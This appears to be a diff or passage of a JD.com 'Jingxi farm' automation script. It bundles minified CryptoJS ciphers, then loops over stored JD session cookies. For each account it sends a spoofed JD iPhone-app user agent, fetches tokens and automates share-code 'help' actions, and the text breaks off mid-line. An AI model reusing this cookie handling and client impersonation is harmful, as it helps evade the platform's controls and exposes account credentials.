c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +$.maxHelpNum = $.isNode() ? 8 : 4; // 随机助力最大执行次数 +$.helpNum = 0; // 当前账号 随机助力次数 +let assistUserShareCode = 0; // 随机助力用户 share code + +!(async () => { + await requireConfig(); + if (!cookieArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo(); + for (let i = 0; i < cookieArr.length; i++) { + if (cookieArr[i]) { + currentCookie = cookieArr[i]; + $.UserName = decodeURIComponent(currentCookie.match(/pt_pin=([^; ]+)(?=;?)/) && currentCookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.log(`\n************* 检查【京东账号${$.index}】${$.UserName} cookie 是否有效 *************`); + await TotalBean(); + $.log(`开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString()};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + if (currentCookie.includes("pt_pin")) await getJxToken() + subTitle = ''; + message = ''; + option = {}; + $.answer = 3; + $.helpNum = 0; + notifyBool = notifyLevel > 0; // 初始化是否推送 + // await tokenFormat(); // 处理当前账号 token + await shareCodesFormat(); // 处理当前账号 助力码 + await jdJXNC(); // 执行当前账号 主代码流程 + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + console.log(e); + }) + .finally(() => { + $.done(); + }) + +// 检查互助码格式是否为 json +// 成功返回 json 对象,失败返回 '' +function changeShareCodeJson(code) { + try { + let json = code && JSON.parse(code); + return json['smp'] && json['active'] && json['joinnum'] ? json : ''; + } catch (e) { + return ''; + } +} + +// 加载配置 cookie token shareCode +function requireConfig() { + return new Promise(async resolve => { + $.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + // const jdTokenNode = $.isNode() ? require('./jdJxncTokens.js') : ''; + const jdJxncShareCodeNode = $.isNode() ? require('./jdJxncShareCodes.js') : {}; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookieArr.push(jdCookieNode[item]); + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookieArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => 